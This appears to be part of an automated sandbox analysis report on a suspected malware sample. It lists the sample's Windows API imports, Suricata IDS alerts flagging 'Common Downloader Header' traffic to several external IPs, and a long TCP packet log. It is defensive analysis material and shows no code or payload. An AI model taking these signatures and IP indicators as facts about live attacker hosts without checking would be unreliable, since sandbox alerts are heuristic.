USER32.dll	EndDialog, ScreenToClient, GetWindowRect, RegisterClassW, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, wsprintfW, CreateWindowExW, SystemParametersInfoW, AppendMenuW, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, GetDC, SetWindowLongW, LoadImageW, SendMessageTimeoutW, FindWindowExW, EmptyClipboard, OpenClipboard, TrackPopupMenu, EndPaint, ShowWindow, GetDlgItem, IsWindow, SetForegroundWindow
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW
ADVAPI32.dll	RegCloseKey, RegOpenKeyExW, RegDeleteKeyW, RegDeleteValueW, RegEnumValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	CoCreateInstance, CoTaskMemFree, OleInitialize, OleUninitialize
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-03T15:31:51.303955+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	49913	172.217.19.174	443	TCP
2024-12-03T15:31:59.184489+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49934	158.101.44.242	80	TCP
2024-12-03T15:32:02.059523+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49934	158.101.44.242	80	TCP
2024-12-03T15:32:03.861859+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49946	172.67.177.134	443	TCP
2024-12-03T15:32:04.293850+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49934	158.101.44.242	80	TCP
2024-12-03T15:32:06.049404+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49952	172.67.177.134	443	TCP
2024-12-03T15:32:06.481350+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49934	158.101.44.242	80	TCP
2024-12-03T15:32:08.192940+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49958	172.67.177.134	443	TCP
2024-12-03T15:32:08.621971+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49934	158.101.44.242	80	TCP
2024-12-03T15:32:10.393579+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49965	172.67.177.134	443	TCP
2024-12-03T15:32:10.825072+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49934	158.101.44.242	80	TCP
2024-12-03T15:32:12.507493+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49970	172.67.177.134	443	TCP
2024-12-03T15:32:12.934479+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49934	158.101.44.242	80	TCP
2024-12-03T15:32:14.616333+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49976	172.67.177.134	443	TCP
2024-12-03T15:32:15.106307+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49934	158.101.44.242	80	TCP
2024-12-03T15:32:16.799890+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49981	172.67.177.134	443	TCP
2024-12-03T15:32:17.231368+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49934	158.101.44.242	80	TCP
2024-12-03T15:32:18.992316+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49987	172.67.177.134	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2024 15:31:48.581768990 CET	49913	443	192.168.2.6	172.217.19.174
Dec 3, 2024 15:31:48.581818104 CET	443	49913	172.217.19.174	192.168.2.6
Dec 3, 2024 15:31:48.581918001 CET	49913	443	192.168.2.6	172.217.19.174
Dec 3, 2024 15:31:48.600123882 CET	49913	443	192.168.2.6	172.217.19.174
Dec 3, 2024 15:31:48.600142002 CET	443	49913	172.217.19.174	192.168.2.6
Dec 3, 2024 15:31:50.393379927 CET	443	49913	172.217.19.174	192.168.2.6
Dec 3, 2024 15:31:50.393532991 CET	49913	443	192.168.2.6	172.217.19.174
Dec 3, 2024 15:31:50.394217014 CET	443	49913	172.217.19.174	192.168.2.6
Dec 3, 2024 15:31:50.394284010 CET	49913	443	192.168.2.6	172.217.19.174
Dec 3, 2024 15:31:50.449812889 CET	49913	443	192.168.2.6	172.217.19.174
Dec 3, 2024 15:31:50.449829102 CET	443	49913	172.217.19.174	192.168.2.6
Dec 3, 2024 15:31:50.450227022 CET	443	49913	172.217.19.174	192.168.2.6
Dec 3, 2024 15:31:50.450357914 CET	49913	443	192.168.2.6	172.217.19.174
Dec 3, 2024 15:31:50.454562902 CET	49913	443	192.168.2.6	172.217.19.174
Dec 3, 2024 15:31:50.499321938 CET	443	49913	172.217.19.174	192.168.2.6
Dec 3, 2024 15:31:51.303946972 CET	443	49913	172.217.19.174	192.168.2.6
Dec 3, 2024 15:31:51.304989100 CET	49913	443	192.168.2.6	172.217.19.174
Dec 3, 2024 15:31:51.305006027 CET	443	49913	172.217.19.174	192.168.2.6
Dec 3, 2024 15:31:51.306855917 CET	443	49913	172.217.19.174	192.168.2.6
Dec 3, 2024 15:31:51.306930065 CET	49913	443	192.168.2.6	172.217.19.174
Dec 3, 2024 15:31:51.306982040 CET	49913	443	192.168.2.6	172.217.19.174
Dec 3, 2024 15:31:51.306999922 CET	443	49913	172.217.19.174	192.168.2.6
Dec 3, 2024 15:31:51.307013988 CET	49913	443	192.168.2.6	172.217.19.174
Dec 3, 2024 15:31:51.307049036 CET	49913	443	192.168.2.6	172.217.19.174
Dec 3, 2024 15:31:51.471435070 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:51.471498013 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:51.471574068 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:51.471884012 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:51.471895933 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:53.264626026 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:53.264715910 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:53.268827915 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:53.268846035 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:53.269190073 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:53.269243002 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:53.269711971 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:53.311330080 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.017642021 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.017745018 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.030720949 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.030854940 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.058327913 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.058418036 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.137780905 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.137892008 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.138353109 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.138406038 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.228203058 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.228352070 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.232383013 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.232459068 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.232469082 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.232520103 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.239401102 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.239470005 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.239535093 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.239588022 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.247072935 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.247128010 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.255145073 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.255230904 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.255239964 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.255284071 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.261929989 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.262000084 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.262022972 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.262067080 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.269376993 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.269449949 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.271859884 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.271920919 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.277844906 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.277909994 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.279913902 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.279973030 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.284826040 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.284898996 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.301070929 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.301193953 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.304395914 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.304466963 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.309231043 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.309300900 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.312328100 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.312417984 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.321088076 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.321173906 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.324736118 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.324822903 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.334800959 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.334897041 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.334918022 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.334959030 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.348644972 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.348728895 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.391500950 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.391624928 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.391639948 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.391683102 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.440336943 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.440457106 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.440469027 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.440522909 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.442529917 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.442584991 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.446690083 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.446748018 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.446861029 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.446907043 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.451247931 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.451335907 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.451364040 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.451406956 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.456332922 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.456379890 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.456423998 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.456458092 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.456476927 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.456497908 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.460787058 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.460942984 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.460963964 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.461014986 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.465493917 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.465576887 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.469938993 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.470047951 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.470068932 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.470118046 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.474504948 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.474572897 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.474595070 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.474633932 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.479506016 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.479581118 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.481209040 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.481276035 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.481508970 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.481554031 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.485937119 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.486037970 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.486061096 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.486104012 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.495459080 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.495558023 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.495577097 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.495620966 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.506007910 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.506201982 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.506534100 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.506613016 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.515005112 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.515134096 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.515157938 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.515201092 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.524297953 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.524380922 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.524404049 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.524445057 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.532910109 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.533047915 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.533202887 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.533252954 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.562048912 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.562199116 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.562309980 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.562361002 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.562371016 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.562410116 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.563095093 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.563148975 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.563855886 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.563899994 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.566515923 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.566574097 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.566590071 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.566633940 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.569286108 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.569338083 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.570030928 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.570081949 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.573198080 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.573252916 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.573467970 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.573509932 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.575123072 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.575202942 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.577313900 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.577394962 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.578933001 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.578991890 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.583794117 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.583875895 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.601713896 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.601808071 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.643639088 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.643759966 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.650091887 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.650180101 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.651540041 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.651614904 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.651621103 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.651670933 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.653739929 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.653877974 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.653886080 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.653937101 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.656807899 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.656878948 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.656883955 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.656936884 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.658291101 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.658361912 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.658446074 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.658498049 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.660866976 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.660933971 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.660939932 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.660981894 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.663183928 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.663240910 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.663247108 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.663291931 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.665741920 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.665833950 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.668524027 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.668579102 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.669780016 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.669846058 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.669852018 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.669893980 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.671950102 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.672010899 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.673778057 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.673846960 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.675669909 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.675734997 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.675740957 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.675792933 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.676867008 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.676923990 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.678765059 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.678828001 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.685477972 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.685559988 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.685565948 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.685606956 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.686857939 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.686912060 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.688030005 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.688081980 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.696542978 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.696605921 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.697083950 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.697135925 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.698514938 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.698565006 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.698573112 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.698610067 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.707797050 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.707870960 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.708563089 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.708611965 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.708616972 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.708673000 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.709434032 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.709482908 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.719362020 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.719449043 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.721493959 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.721549988 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.721558094 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.721596003 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.724051952 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.724198103 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.724209070 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.724247932 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.736224890 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.736287117 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.736291885 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.736330986 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.737178087 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.737235069 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.739291906 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.739379883 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.747680902 CET	443	49919	142.250.181.1	192.168.2.6
